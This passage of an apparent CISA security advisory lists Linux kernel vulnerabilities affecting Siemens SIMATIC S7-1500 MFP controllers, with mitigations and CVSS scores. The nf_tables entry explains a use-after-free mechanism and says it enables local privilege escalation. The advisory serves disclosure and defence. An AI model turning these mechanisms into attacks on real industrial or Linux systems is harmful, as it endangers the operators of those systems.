<p>In the Linux kernel, the following vulnerability has been resolved: ipvlan: Make the addrs_lock be per port Make the addrs_lock be per port, not per ipvlan dev. Initial code seems to be written in the assumption, that any address change must occur under RTNL. But it is not so for the case of IPv6. So 1) Introduce per-port addrs_lock. 2) It was needed to fix places where it was forgotten to take lock (ipvlan_open/ipvlan_close) This appears to be a very minor problem though. Since it's highly unlikely that ipvlan_add_addr() will be called on 2 CPU simultaneously. But nevertheless, this could cause: 1) False-negative of ipvlan_addr_busy(): one interface iterated through all port-&gt;ipvlans + ipvlan-&gt;addrs under some ipvlan spinlock, and another added IP under its own lock. Though this is only possible for IPv6, since looks like only ipvlan_addr6_event() can be called without rtnl_lock. 2) Race since ipvlan_ht_addr_add(port) is called under different ipvlan-&gt;addrs_lock locks This should not affect performance, since add/remove IP is a rare situation and spinlock is not taken on fast paths.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23103">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/413.html">CWE-413 Improper Resource Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23110</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: core: Wake up the error handler when final completions race against each other The fragile ordering between marking commands completed or failed so that the error handler only wakes when the last running command completes or times out has race conditions. These race conditions can cause the SCSI layer to fail to wake the error handler, leaving I/O through the SCSI host stuck as the error state cannot advance. First, there is an memory ordering issue within scsi_dec_host_busy(). The write which clears SCMD_STATE_INFLIGHT may be reordered with reads counting in scsi_host_busy(). While the local CPU will see its own write, reordering can allow other CPUs in scsi_dec_host_busy() or scsi_eh_inc_host_failed() to see a raised busy count, causing no CPU to see a host busy equal to the host_failed count. This race condition can be prevented with a memory barrier on the error path to force the write to be visible before counting host busy commands. Second, there is a general ordering issue with scsi_eh_inc_host_failed(). By counting busy commands before incrementing host_failed, it can race with a final command in scsi_dec_host_busy(), such that scsi_dec_host_busy() does not see host_failed incremented but scsi_eh_inc_host_failed() counts busy commands before SCMD_STATE_INFLIGHT is cleared by scsi_dec_host_busy(), resulting in neither waking the error handler task. This needs the call to scsi_host_busy() to be moved after host_failed is incremented to close the race condition.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23110">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/821.html">CWE-821 Incorrect Synchronization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23111</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix inverted genmask check in nft_map_catchall_activate() nft_map_catchall_activate() has an inverted element activity check compared to its non-catchall counterpart nft_mapelem_activate() and compared to what is logically required. nft_map_catchall_activate() is called from the abort path to re-activate catchall map elements that were deactivated during a failed transaction. It should skip elements that are already active (they don't need re-activation) and process elements that are inactive (they need to be restored). Instead, the current code does the opposite: it skips inactive elements and processes active ones. Compare the non-catchall activate callback, which is correct: nft_mapelem_activate(): if (nft_set_elem_active(ext, iter-&gt;genmask)) return 0; /* skip active, process inactive */ With the buggy catchall version: nft_map_catchall_activate(): if (!nft_set_elem_active(ext, genmask)) continue; /* skip inactive, process active */ The consequence is that when a DELSET operation is aborted, nft_setelem_data_activate() is never called for the catchall element. For NFT_GOTO verdict elements, this means nft_data_hold() is never called to restore the chain-&gt;use reference count. Each abort cycle permanently decrements chain-&gt;use. Once chain-&gt;use reaches zero, DELCHAIN succeeds and frees the chain while catchall verdict elements still reference it, resulting in a use-after-free. This is exploitable for local privilege escalation from an unprivileged user via user namespaces + nftables on distributions that enable CONFIG_USER_NS and CONFIG_NF_TABLES. Fix by removing the negation so the check matches nft_mapelem_activate(): skip active elements, process inactive ones.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23111">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23113</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: io_uring/io-wq: check IO_WQ_BIT_EXIT inside work run loop Currently this is checked before running the pending work. Normally this is quite fine, as work items either end up blocking (which will create a new worker for other items), or they complete fairly quickly. But syzbot reports an issue where io-wq takes seemingly forever to exit, and with a bit of debugging, this turns out to be because it queues a bunch of big (2GB - 4096b) reads with a /dev/msr* file. Since this file type doesn't support -&gt;read_iter(), loop_rw_iter() ends up handling them. Each read returns 16MB of data read, which takes 20 (!!) seconds. With a bunch of these pending, processing the whole chain can take a long time. Easily longer than the syzbot uninterruptible sleep timeout of 140 seconds. This then triggers a complaint off the io-wq exit path: INFO: task syz.4.135:6326 blocked for more than 143 seconds. Not tainted syzkaller #0 Blocked by coredump. "echo 0 &gt; /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:syz.4.135 state:D stack:26824 pid:6326 tgid:6324 ppid:5957 task_flags:0x400548 flags:0x00080000 Call Trace: context_switch kernel/sched/core.c:5256 [inline] __schedule+0x1139/0x6150 kernel/sched/core.c:6863 __schedule_loop kernel/sched/core.c:6945 [inline] schedule+0xe7/0x3a0 kernel/sched/core.c:6960 schedule_timeout+0x257/0x290 kernel/time/sleep_timeout.c:75 do_wait_for_common kernel/sched/completion.c:100 [inline] __wait_for_common+0x2fc/0x4e0 kernel/sched/completion.c:121 io_wq_exit_workers io_uring/io-wq.c:1328 [inline] io_wq_put_and_exit+0x271/0x8a0 io_uring/io-wq.c:1356 io_uring_clean_tctx+0x10d/0x190 io_uring/tctx.c:203 io_uring_cancel_generic+0x69c/0x9a0 io_uring/cancel.c:651 io_uring_files_cancel include/linux/io_uring.h:19 [inline] do_exit+0x2ce/0x2bd0 kernel/exit.c:911 do_group_exit+0xd3/0x2a0 kernel/exit.c:1112 get_signal+0x2671/0x26d0 kernel/signal.c:3034 arch_do_signal_or_restart+0x8f/0x7e0 arch/x86/kernel/signal.c:337 __exit_to_user_mode_loop kernel/entry/common.c:41 [inline] exit_to_user_mode_loop+0x8c/0x540 kernel/entry/common.c:75 __exit_to_user_mode_prepare include/linux/irq-entry-common.h:226 [inline] syscall_exit_to_user_mode_prepare include/linux/irq-entry-common.h:256 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:159 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:194 [inline] do_syscall_64+0x4ee/0xf80 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7fa02738f749 RSP: 002b:00007fa0281ae0e8 EFLAGS: 00000246 ORIG_RAX: 00000000000000ca RAX: fffffffffffffe00 RBX: 00007fa0275e6098 RCX: 00007fa02738f749 RDX: 0000000000000000 RSI: 0000000000000080 RDI: 00007fa0275e6098 RBP: 00007fa0275e6090 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007fa0275e6128 R14: 00007fff14e4fcb0 R15: 00007fff14e4fd98 There's really nothing wrong here, outside of processing these reads will take a LONG time. However, we can speed up the exit by checking the IO_WQ_BIT_EXIT inside the io_worker_handle_work() loop, as syzbot will exit the ring after queueing up all of these reads. Then once the first item is processed, io-wq will simply cancel the rest. That should avoid syzbot running into this complaint again.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23113">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23154</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix segmentation of forwarding fraglist GRO This patch enhances GSO segment handling by properly checking the SKB_GSO_DODGY flag for frag_list GSO packets, addressing low throughput issues observed when a station accesses IPv4 servers via hotspots with an IPv6-only upstream interface. Specifically, it fixes a bug in GSO segmentation when forwarding GRO packets containing a frag_list. The function skb_segment_list cannot correctly process GRO skbs that have been converted by XLAT, since XLAT only translates the header of the head skb. Consequently, skbs in the frag_list may remain untranslated, resulting in protocol inconsistencies and reduced throughput. To address this, the patch explicitly sets the SKB_GSO_DODGY flag for GSO packets in XLAT's IPv4/IPv6 protocol translation helpers (bpf_skb_proto_4_to_6 and bpf_skb_proto_6_to_4). This marks GSO packets as potentially modified after protocol translation. As a result, GSO segmentation will avoid using skb_segment_list and instead falls back to skb_segment for packets with the SKB_GSO_DODGY flag. This ensures that only safe and fully translated frag_list packets are processed by skb_segment_list, resolving protocol inconsistencies and improving throughput when forwarding GRO packets converted by XLAT.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23154">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/237.html">CWE-237 Improper Handling of Structural Elements</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23204</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_u32: use skb_header_pointer_careful() skb_header_pointer() does not fully validate negative @offset values. Use skb_header_pointer_careful() instead. GangMin Kim provided a report and a repro fooling u32_classify(): BUG: KASAN: slab-out-of-bounds in u32_classify+0x1180/0x11b0 net/sched/cls_u32.c:221</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23204">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1285.html">CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23231</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix use-after-free in nf_tables_addchain() nf_tables_addchain() publishes the chain to table-&gt;chains via list_add_tail_rcu() (in nft_chain_add()) before registering hooks. If nf_tables_register_hook() then fails, the error path calls nft_chain_del() (list_del_rcu()) followed by nf_tables_chain_destroy() with no RCU grace period in between. This creates two use-after-free conditions: 1) Control-plane: nf_tables_dump_chains() traverses table-&gt;chains under rcu_read_lock(). A concurrent dump can still be walking the chain when the error path frees it. 2) Packet path: for NFPROTO_INET, nf_register_net_hook() briefly installs the IPv4 hook before IPv6 registration fails. Packets entering nft_do_chain() via the transient IPv4 hook can still be dereferencing chain-&gt;blob_gen_X when the error path frees the chain. Add synchronize_rcu() between nft_chain_del() and the chain destroy so that all RCU readers -- both dump threads and in-flight packet evaluation -- have finished before the chain is freed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23242</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA/siw: Fix potential NULL pointer dereference in header processing If siw_get_hdr() returns -EINVAL before set_rx_fpdu_context(), qp-&gt;rx_fpdu can be NULL. The error path in siw_tcp_rx_data() dereferences qp-&gt;rx_fpdu-&gt;more_ddp_segs without checking, which may lead to a NULL pointer deref. Only check more_ddp_segs when rx_fpdu is present. KASAN splat: [ 101.384271] KASAN: null-ptr-deref in range [0x00000000000000c0-0x00000000000000c7] [ 101.385869] RIP: 0010:siw_tcp_rx_data+0x13ad/0x1e50</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23242">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23243</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA/umad: Reject negative data_len in ib_umad_write ib_umad_write computes data_len from user-controlled count and the MAD header sizes. With a mismatched user MAD header size and RMPP header length, data_len can become negative and reach ib_create_send_mad(). This can make the padding calculation exceed the segment size and trigger an out-of-bounds memset in alloc_send_rmpp_list(). Add an explicit check to reject negative data_len before creating the send buffer. KASAN splat: [ 211.363464] BUG: KASAN: slab-out-of-bounds in ib_create_send_mad+0xa01/0x11b0 [ 211.364077] Write of size 220 at addr ffff88800c3fa1f8 by task spray_thread/102 [ 211.365867] ib_create_send_mad+0xa01/0x11b0 [ 211.365887] ib_umad_write+0x853/0x1c80</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23243">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
